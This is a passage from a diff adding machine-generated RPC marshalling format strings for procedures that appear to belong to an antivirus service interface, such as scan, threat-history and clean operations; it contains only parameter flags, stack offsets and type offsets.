), /* X64 Stack size/offset = 24 */ +/* 642 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc11_ServerMpOnDemandPersistScan */ + +/* 644 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 646 */ NdrFcLong( 0x0 ), /* 0 */ +/* 650 */ NdrFcShort( 0xb ), /* 11 */ +/* 652 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 654 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 656 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 658 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 660 */ NdrFcShort( 0x2c ), /* 44 */ +/* 662 */ NdrFcShort( 0x24 ), /* 36 */ +/* 664 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 666 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 668 */ NdrFcShort( 0x0 ), /* 0 */ +/* 670 */ NdrFcShort( 0x0 ), /* 0 */ +/* 672 */ NdrFcShort( 0x0 ), /* 0 */ +/* 674 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 676 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 678 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 680 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 682 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 684 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 686 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 688 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 690 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 692 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 694 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 696 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 698 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc12_ServerMpOnDemandCloseScan */ + +/* 700 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 702 */ NdrFcLong( 0x0 ), /* 0 */ +/* 706 */ NdrFcShort( 0xc ), /* 12 */ +/* 708 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 710 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 712 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 714 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 716 */ NdrFcShort( 0x38 ), /* 56 */ +/* 718 */ NdrFcShort( 0x5c ), /* 92 */ +/* 720 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 722 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 724 */ NdrFcShort( 0x0 ), /* 0 */ +/* 726 */ NdrFcShort( 0x0 ), /* 0 */ +/* 728 */ NdrFcShort( 0x0 ), /* 0 */ +/* 730 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 732 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 734 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 736 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 738 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 740 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 742 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 744 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 746 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 748 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc13_ServerMpOnDemandThreatOpen */ + +/* 750 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 752 */ NdrFcLong( 0x0 ), /* 0 */ +/* 756 */ NdrFcShort( 0xd ), /* 13 */ +/* 758 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 760 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 762 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 764 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 766 */ NdrFcShort( 0x24 ), /* 36 */ +/* 768 */ NdrFcShort( 0x5c ), /* 92 */ +/* 770 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 772 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 774 */ NdrFcShort( 0x0 ), /* 0 */ +/* 776 */ NdrFcShort( 0x0 ), /* 0 */ +/* 778 */ NdrFcShort( 0x0 ), /* 0 */ +/* 780 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 782 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 784 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 786 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 788 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 790 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 792 */ NdrFcShort( 0x402 ), /* Type Offset=1026 */ + + /* Parameter arg_2 */ + +/* 794 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 796 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 798 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 800 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 802 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 804 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc14_ServerMpOnDemandThreatEnum */ + +/* 806 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 808 */ NdrFcLong( 0x0 ), /* 0 */ +/* 812 */ NdrFcShort( 0xe ), /* 14 */ +/* 814 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 816 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 818 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 820 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 822 */ NdrFcShort( 0x24 ), /* 36 */ +/* 824 */ NdrFcShort( 0x24 ), /* 36 */ +/* 826 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 828 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 830 */ NdrFcShort( 0x1 ), /* 1 */ +/* 832 */ NdrFcShort( 0x0 ), /* 0 */ +/* 834 */ NdrFcShort( 0x0 ), /* 0 */ +/* 836 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 838 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 840 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 842 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 844 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 846 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 848 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_2 */ + +/* 850 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 852 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 854 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 856 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 858 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 860 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc15_ServerMpOnDemandThreatClose */ + +/* 862 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 864 */ NdrFcLong( 0x0 ), /* 0 */ +/* 868 */ NdrFcShort( 0xf ), /* 15 */ +/* 870 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 872 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 874 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 876 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 878 */ NdrFcShort( 0x5c ), /* 92 */ +/* 880 */ NdrFcShort( 0x5c ), /* 92 */ +/* 882 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 884 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 886 */ NdrFcShort( 0x0 ), /* 0 */ +/* 888 */ NdrFcShort( 0x0 ), /* 0 */ +/* 890 */ NdrFcShort( 0x0 ), /* 0 */ +/* 892 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 894 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 896 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 898 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 900 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 902 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 904 */ NdrFcShort( 0x520 ), /* Type Offset=1312 */ + + /* Parameter arg_2 */ + +/* 906 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 908 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 910 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 912 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 914 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 916 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc16_ServerMpScanOpenThreatHistory */ + +/* 918 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 920 */ NdrFcLong( 0x0 ), /* 0 */ +/* 924 */ NdrFcShort( 0x10 ), /* 16 */ +/* 926 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 928 */ NdrFcShort( 0x10 ), /* 16 */ +/* 930 */ NdrFcShort( 0x5c ), /* 92 */ +/* 932 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 934 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 936 */ NdrFcShort( 0x0 ), /* 0 */ +/* 938 */ NdrFcShort( 0x0 ), /* 0 */ +/* 940 */ NdrFcShort( 0x0 ), /* 0 */ +/* 942 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 944 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 946 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 948 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 950 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 952 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 954 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 956 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 958 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 960 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_4 */ + +/* 962 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 964 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 966 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 968 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 970 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 972 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc17_ServerMpScanEnumerateThreatHistory */ + +/* 974 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 976 */ NdrFcLong( 0x0 ), /* 0 */ +/* 980 */ NdrFcShort( 0x11 ), /* 17 */ +/* 982 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 984 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 986 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 988 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 990 */ NdrFcShort( 0x24 ), /* 36 */ +/* 992 */ NdrFcShort( 0x24 ), /* 36 */ +/* 994 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 996 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 998 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1000 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1002 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1004 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1006 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1008 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1010 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1012 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 1014 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1016 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_2 */ + +/* 1018 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1020 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1022 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1024 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1026 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1028 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc18_ServerMpScanEnumerateDetectionHistory */ + +/* 1030 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1032 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1036 */ NdrFcShort( 0x12 ), /* 18 */ +/* 1038 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1040 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1042 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1044 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1046 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1048 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1050 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 1052 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 1054 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1056 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1058 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1060 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1062 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1064 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1066 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1068 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 1070 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1072 */ NdrFcShort( 0x524 ), /* Type Offset=1316 */ + + /* Parameter arg_2 */ + +/* 1074 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1076 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1078 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1080 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1082 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1084 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc19_ServerMpScanCloseThreatHistory */ + +/* 1086 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1088 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1092 */ NdrFcShort( 0x13 ), /* 19 */ +/* 1094 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1096 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 1098 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1100 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1102 */ NdrFcShort( 0x38 ), /* 56 */ +/* 1104 */ NdrFcShort( 0x5c ), /* 92 */ +/* 1106 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 1108 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1110 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1112 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1114 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1116 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1118 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 1120 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1122 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 1124 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1126 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1128 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1130 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1132 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1134 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc20_ServerMpScanDeleteThreatHistory */ + +/* 1136 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1138 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1142 */ NdrFcShort( 0x14 ), /* 20 */ +/* 1144 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1146 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 1148 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1150 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1152 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1154 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 1156 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1158 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1160 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1162 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1164 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1166 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1168 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1170 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1172 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1174 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1176 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1178 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1180 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1182 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc21_ServerMpRpcCleanOpen */ + +/* 1184 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 1186 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1190 */ NdrFcShort( 0x15 ), /* 21 */ +/* 1192 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 1194 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1196 */ NdrFcShort( 0x5c ), /* 92 */ +/* 1198 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 1200 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 1202 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1204 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1206 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1208 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1210 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1212 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1214 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1216 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 1218 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1220 */ NdrFcShort( 0x552 ), /* Type Offset=1362 */ + + /* Parameter arg_3 */ + +/* 1222 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1224 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1226 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 1228 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 1230 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1232 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_5 */ + +/* 1234 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1236 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1238 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1240 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1242 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1244 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc22_ServerMpRpcScanCleanOpen */ + +/* 1246 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1248 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1252 */ NdrFcShort( 0x16 ), /* 22 */ +/* 1254 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1256 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1258 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1260 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1262 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1264 */ NdrFcShort( 0x5c ), /* 92 */ +/* 1266 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 1268 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 1270 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1272 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1274 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1276 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1278 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1280 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1282 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1284 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 1286 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1288 */ NdrFcShort( 0x552 ), /* Type Offset=1362 */ + + /* Parameter arg_2 */ + +/* 1290 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 1292 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1294 */ NdrFcShort( 0x402 ), /* Type Offset=1026 */ + + /* Parameter arg_3 */ + +/* 1296 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1298 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1300 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1302 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1304 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1306 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc23_ServerMpRpcCleanStart */ + +/* 1308 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1310 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1314 */ NdrFcShort( 0x17 ), /* 23 */ +/* 1316 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1318 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1322 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1324 */ NdrFcShort( 0x2c ), /* 44 */ +/* 1326 */ NdrFcShort( 0x68 ), /* 104 */ +/* 1328 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 1330 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1332 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1334 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1336 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1338 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1340 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1342 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1344 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1346 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1348 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1350 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1352 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 1354 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1356 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 1358 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1360 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1362 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1364 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1366 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1368 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc24_ServerMpRpcCleanControl */ + +/* 1370 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1372 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1376 */ NdrFcShort( 0x18 ), /* 24 */ +/* 1378 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1380 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1382 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1384 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1386 */ NdrFcShort( 0x2c ), /* 44 */ +/* 1388 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1390 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 